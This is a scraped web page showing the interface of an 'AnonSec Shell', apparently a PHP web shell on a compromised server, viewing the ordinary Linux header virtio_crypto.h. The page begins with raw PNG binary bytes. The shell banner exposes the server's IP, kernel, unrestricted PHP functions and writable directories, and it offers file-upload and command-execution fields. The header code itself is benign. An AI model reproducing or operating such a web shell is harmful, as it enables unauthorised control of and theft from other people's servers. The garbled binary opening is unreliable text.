‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ Š²¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGùÍ‹Ñ™˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æ󵄵ik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ﶲ²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈDŽ¼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/include/linux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     

Current File : /usr/include/linux/virtio_crypto.h
#ifndef _VIRTIO_CRYPTO_H
#define _VIRTIO_CRYPTO_H
/* This header is BSD licensed so anyone can use the definitions to implement
 * compatible drivers/servers.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. Neither the name of IBM nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
 * FOR A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL IBM OR
 * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
 * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
 * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
 * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
 * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
 * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
 * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */
#include <linux/types.h>
#include <linux/virtio_types.h>
#include <linux/virtio_ids.h>
#include <linux/virtio_config.h>


#define VIRTIO_CRYPTO_SERVICE_CIPHER 0
#define VIRTIO_CRYPTO_SERVICE_HASH   1
#define VIRTIO_CRYPTO_SERVICE_MAC    2
#define VIRTIO_CRYPTO_SERVICE_AEAD   3

#define VIRTIO_CRYPTO_OPCODE(service, op)   (((service) << 8) | (op))

struct virtio_crypto_ctrl_header {
#define VIRTIO_CRYPTO_CIPHER_CREATE_SESSION \
	   VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_CIPHER, 0x02)
#define VIRTIO_CRYPTO_CIPHER_DESTROY_SESSION \
	   VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_CIPHER, 0x03)
#define VIRTIO_CRYPTO_HASH_CREATE_SESSION \
	   VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_HASH, 0x02)
#define VIRTIO_CRYPTO_HASH_DESTROY_SESSION \
	   VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_HASH, 0x03)
#define VIRTIO_CRYPTO_MAC_CREATE_SESSION \
	   VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_MAC, 0x02)
#define VIRTIO_CRYPTO_MAC_DESTROY_SESSION \
	   VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_MAC, 0x03)
#define VIRTIO_CRYPTO_AEAD_CREATE_SESSION \
	   VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_AEAD, 0x02)
#define VIRTIO_CRYPTO_AEAD_DESTROY_SESSION \
	   VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_AEAD, 0x03)
	__le32 opcode;
	__le32 algo;
	__le32 flag;
	/* data virtqueue id */
	__le32 queue_id;
};

struct virtio_crypto_cipher_session_para {
#define VIRTIO_CRYPTO_NO_CIPHER                 0
#define VIRTIO_CRYPTO_CIPHER_ARC4               1
#define VIRTIO_CRYPTO_CIPHER_AES_ECB            2
#define VIRTIO_CRYPTO_CIPHER_AES_CBC            3
#define VIRTIO_CRYPTO_CIPHER_AES_CTR            4
#define VIRTIO_CRYPTO_CIPHER_DES_ECB            5
#define VIRTIO_CRYPTO_CIPHER_DES_CBC            6
#define VIRTIO_CRYPTO_CIPHER_3DES_ECB           7
#define VIRTIO_CRYPTO_CIPHER_3DES_CBC           8
#define VIRTIO_CRYPTO_CIPHER_3DES_CTR           9
#define VIRTIO_CRYPTO_CIPHER_KASUMI_F8          10
#define VIRTIO_CRYPTO_CIPHER_SNOW3G_UEA2        11
#define VIRTIO_CRYPTO_CIPHER_AES_F8             12
#define VIRTIO_CRYPTO_CIPHER_AES_XTS            13
#define VIRTIO_CRYPTO_CIPHER_ZUC_EEA3           14
	__le32 algo;
	/* length of key */
	__le32 keylen;

#define VIRTIO_CRYPTO_OP_ENCRYPT  1
#define VIRTIO_CRYPTO_OP_DECRYPT  2
	/* encrypt or decrypt */
	__le32 op;
	__le32 padding;
};

struct virtio_crypto_session_input {
	/* Device-writable part */
	__le64 session_id;
	__le32 status;
	__le32 padding;
};

struct virtio_crypto_cipher_session_req {
	struct virtio_crypto_cipher_session_para para;
	__u8 padding[32];
};

struct virtio_crypto_hash_session_para {
#define VIRTIO_CRYPTO_NO_HASH            0
#define VIRTIO_CRYPTO_HASH_MD5           1
#define VIRTIO_CRYPTO_HASH_SHA1          2
#define VIRTIO_CRYPTO_HASH_SHA_224       3
#define VIRTIO_CRYPTO_HASH_SHA_256       4
#define VIRTIO_CRYPTO_HASH_SHA_384       5
#define VIRTIO_CRYPTO_HASH_SHA_512       6
#define VIRTIO_CRYPTO_HASH_SHA3_224      7
#define VIRTIO_CRYPTO_HASH_SHA3_256      8
#define VIRTIO_CRYPTO_HASH_SHA3_384      9
#define VIRTIO_CRYPTO_HASH_SHA3_512      10
#define VIRTIO_CRYPTO_HASH_SHA3_SHAKE128      11
#define VIRTIO_CRYPTO_HASH_SHA3_SHAKE256      12
	__le32 algo;
	/* hash result length */
	__le32 hash_result_len;
	__u8 padding[8];
};

struct virtio_crypto_hash_create_session_req {
	struct virtio_crypto_hash_session_para para;
	__u8 padding[40];
};

struct virtio_crypto_mac_session_para {
#define VIRTIO_CRYPTO_NO_MAC                       0
#define VIRTIO_CRYPTO_MAC_HMAC_MD5                 1
#define VIRTIO_CRYPTO_MAC_HMAC_SHA1                2
#define VIRTIO_CRYPTO_MAC_HMAC_SHA_224             3
#define VIRTIO_CRYPTO_MAC_HMAC_SHA_256             4
#define VIRTIO_CRYPTO_MAC_HMAC_SHA_384             5
#define VIRTIO_CRYPTO_MAC_HMAC_SHA_512             6
#define VIRTIO_CRYPTO_MAC_CMAC_3DES                25
#define VIRTIO_CRYPTO_MAC_CMAC_AES                 26
#define VIRTIO_CRYPTO_MAC_KASUMI_F9                27
#define VIRTIO_CRYPTO_MAC_SNOW3G_UIA2              28
#define VIRTIO_CRYPTO_MAC_GMAC_AES                 41
#define VIRTIO_CRYPTO_MAC_GMAC_TWOFISH             42
#define VIRTIO_CRYPTO_MAC_CBCMAC_AES               49
#define VIRTIO_CRYPTO_MAC_CBCMAC_KASUMI_F9         50
#define VIRTIO_CRYPTO_MAC_XCBC_AES                 53
	__le32 algo;
	/* hash result length */
	__le32 hash_result_len;
	/* length of authenticated key */
	__le32 auth_key_len;
	__le32 padding;
};

struct virtio_crypto_mac_create_session_req {
	struct virtio_crypto_mac_session_para para;
	__u8 padding[40];
};

struct virtio_crypto_aead_session_para {
#define VIRTIO_CRYPTO_NO_AEAD     0
#define VIRTIO_CRYPTO_AEAD_GCM    1
#define VIRTIO_CRYPTO_AEAD_CCM    2
#define VIRTIO_CRYPTO_AEAD_CHACHA20_POLY1305  3
	__le32 algo;
	/* length of key */
	__le32 key_len;
	/* hash result length */
	__le32 hash_result_len;
	/* length of the additional authenticated data (AAD) in bytes */
	__le32 aad_len;
	/* encrypt or decrypt, See above VIRTIO_CRYPTO_OP_* */
	__le32 op;
	__le32 padding;
};

struct virtio_crypto_aead_create_session_req {
	struct virtio_crypto_aead_session_para para;
	__u8 padding[32];
};

struct virtio_crypto_alg_chain_session_para {
#define VIRTIO_CRYPTO_SYM_ALG_CHAIN_ORDER_HASH_THEN_CIPHER  1
#define VIRTIO_CRYPTO_SYM_ALG_CHAIN_ORDER_CIPHER_THEN_HASH  2
	__le32 alg_chain_order;
/* Plain hash */
#define VIRTIO_CRYPTO_SYM_HASH_MODE_PLAIN    1
/* Authenticated hash (mac) */
#define VIRTIO_CRYPTO_SYM_HASH_MODE_AUTH     2
/* Nested hash */
#define VIRTIO_CRYPTO_SYM_HASH_MODE_NESTED   3
	__le32 hash_mode;
	struct virtio_crypto_cipher_session_para cipher_param;
	union {
		struct virtio_crypto_hash_session_para hash_param;
		struct virtio_crypto_mac_session_para mac_param;
		__u8 padding[16];
	} u;
	/* length of the additional authenticated data (AAD) in bytes */
	__le32 aad_len;
	__le32 padding;
};

struct virtio_crypto_alg_chain_session_req {
	struct virtio_crypto_alg_chain_session_para para;
};

struct virtio_crypto_sym_create_session_req {
	union {
		struct virtio_crypto_cipher_session_req cipher;
		struct virtio_crypto_alg_chain_session_req chain;
		__u8 padding[48];
	} u;

	/* Device-readable part */

/* No operation */
#define VIRTIO_CRYPTO_SYM_OP_NONE  0
/* Cipher only operation on the data */
#define VIRTIO_CRYPTO_SYM_OP_CIPHER  1
/*
 * Chain any cipher with any hash or mac operation. The order
 * depends on the value of alg_chain_order param
 */
#define VIRTIO_CRYPTO_SYM_OP_ALGORITHM_CHAINING  2
	__le32 op_type;
	__le32 padding;
};

struct virtio_crypto_destroy_session_req {
	/* Device-readable part */
	__le64  session_id;
	__u8 padding[48];
};

/* The request of the control virtqueue's packet */
struct virtio_crypto_op_ctrl_req {
	struct virtio_crypto_ctrl_header header;

	union {
		struct virtio_crypto_sym_create_session_req
			sym_create_session;
		struct virtio_crypto_hash_create_session_req
			hash_create_session;
		struct virtio_crypto_mac_create_session_req
			mac_create_session;
		struct virtio_crypto_aead_create_session_req
			aead_create_session;
		struct virtio_crypto_destroy_session_req
			destroy_session;
		__u8 padding[56];
	} u;
};

struct virtio_crypto_op_header {
#define VIRTIO_CRYPTO_CIPHER_ENCRYPT \
	VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_CIPHER, 0x00)
#define VIRTIO_CRYPTO_CIPHER_DECRYPT \
	VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_CIPHER, 0x01)
#define VIRTIO_CRYPTO_HASH \
	VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_HASH, 0x00)
#define VIRTIO_CRYPTO_MAC \
	VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_MAC, 0x00)
#define VIRTIO_CRYPTO_AEAD_ENCRYPT \
	VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_AEAD, 0x00)
#define VIRTIO_CRYPTO_AEAD_DECRYPT \
	VIRTIO_CRYPTO_OPCODE(VIRTIO_CRYPTO_SERVICE_AEAD, 0x01)
	__le32 opcode;
	/* algo should be service-specific algorithms */
	__le32 algo;
	/* session_id should be service-specific algorithms */
	__le64 session_id;
	/* control flag to control the request */
	__le32 flag;
	__le32 padding;
};

struct virtio_crypto_cipher_para {
	/*
	 * Byte Length of valid IV/Counter
	 *
	 * For block ciphers in CBC or F8 mode, or for Kasumi in F8 mode, or for
	 *   SNOW3G in UEA2 mode, this is the length of the IV (which
	 *   must be the same as the block length of the cipher).
	 * For block ciphers in CTR mode, this is the length of the counter
	 *   (which must be the same as the block length of the cipher).
	 * For AES-XTS, this is the 128bit tweak, i, from IEEE Std 1619-2007.
	 *
	 * The IV/Counter will be updated after every partial cryptographic
	 * operation.
	 */
	__le32 iv_len;
	/* length of source data */
	__le32 src_data_len;
	/* length of dst data */
	__le32 dst_data_len;
	__le32 padding;
};

struct virtio_crypto_hash_para {
	/* length of source data */
	__le32 src_data_len;
	/* hash result length */
	__le32 hash_result_len;
};

struct virtio_crypto_mac_para {
	struct virtio_crypto_hash_para hash;
};

struct virtio_crypto_aead_para {
	/*
	 * Byte Length of valid IV data pointed to by the below iv_addr
	 * parameter.
	 *
	 * For GCM mode, this is either 12 (for 96-bit IVs) or 16, in which
	 *   case iv_addr points to J0.
	 * For CCM mode, this is the length of the nonce, which can be in the
	 *   range 7 to 13 inclusive.
	 */
	__le32 iv_len;
	/* length of additional auth data */
	__le32 aad_len;
	/* length of source data */
	__le32 src_data_len;
	/* length of dst data */
	__le32 dst_data_len;
};

struct virtio_crypto_cipher_data_req {
	/* Device-readable part */
	struct virtio_crypto_cipher_para para;
	__u8 padding[24];
};

struct virtio_crypto_hash_data_req {
	/* Device-readable part */
	struct virtio_crypto_hash_para para;
	__u8 padding[40];
};

struct virtio_crypto_mac_data_req {
	/* Device-readable part */
	struct virtio_crypto_mac_para para;
	__u8 padding[40];
};

struct virtio_crypto_alg_chain_data_para {
	__le32 iv_len;
	/* Length of source data */
	__le32 src_data_len;
	/* Length of destination data */
	__le32 dst_data_len;
	/* Starting point for cipher processing in source data */
	__le32 cipher_start_src_offset;
	/* Length of the source data that the cipher will be computed on */
	__le32 len_to_cipher;
	/* Starting point for hash processing in source data */
	__le32 hash_start_src_offset;
	/* Length of the source data that the hash will be computed on */
	__le32 len_to_hash;
	/* Length of the additional auth data */
	__le32 aad_len;
	/* Length of the hash result */
	__le32 hash_result_len;
	__le32 reserved;
};

struct virtio_crypto_alg_chain_data_req {
	/* Device-readable part */
	struct virtio_crypto_alg_chain_data_para para;
};

struct virtio_crypto_sym_data_req {
	union {
		struct virtio_crypto_cipher_data_req cipher;
		struct virtio_crypto_alg_chain_data_req chain;
		__u8 padding[40];
	} u;

	/* See above VIRTIO_CRYPTO_SYM_OP_* */
	__le32 op_type;
	__le32 padding;
};

struct virtio_crypto_aead_data_req {
	/* Device-readable part */
	struct virtio_crypto_aead_para para;
	__u8 padding[32];
};

/* The request of the data virtqueue's packet */
struct virtio_crypto_op_data_req {
	struct virtio_crypto_op_header header;

	union {
		struct virtio_crypto_sym_data_req  sym_req;
		struct virtio_crypto_hash_data_req hash_req;
		struct virtio_crypto_mac_data_req mac_req;
		struct virtio_crypto_aead_data_req aead_req;
		__u8 padding[48];
	} u;
};

#define VIRTIO_CRYPTO_OK        0
#define VIRTIO_CRYPTO_ERR       1
#define VIRTIO_CRYPTO_BADMSG    2
#define VIRTIO_CRYPTO_NOTSUPP   3
#define VIRTIO_CRYPTO_INVSESS   4 /* Invalid session id */

/* The accelerator hardware is ready */
#define VIRTIO_CRYPTO_S_HW_READY  (1 << 0)

struct virtio_crypto_config {
	/* See VIRTIO_CRYPTO_OP_* above */
	__le32  status;

	/*
	 * Maximum number of data queue
	 */
	__le32  max_dataqueues;

	/*
	 * Specifies the services mask which the device support,
	 * see VIRTIO_CRYPTO_SERVICE_* above
	 */
	__le32 crypto_services;

	/* Detailed algorithms mask */
	__le32 cipher_algo_l;
	__le32 cipher_algo_h;
	__le32 hash_algo;
	__le32 mac_algo_l;
	__le32 mac_algo_h;
	__le32 aead_algo;
	/* Maximum length of cipher key */
	__le32 max_cipher_key_len;
	/* Maximum length of authenticated key */
	__le32 max_auth_key_len;
	__le32 reserve;
	/* Maximum size of each crypto request's content */
	__le64 max_size;
};

struct virtio_crypto_inhdr {
	/* See VIRTIO_CRYPTO_* above */
	__u8 status;
};
#endif

Anon7 - 2022
AnonSec Team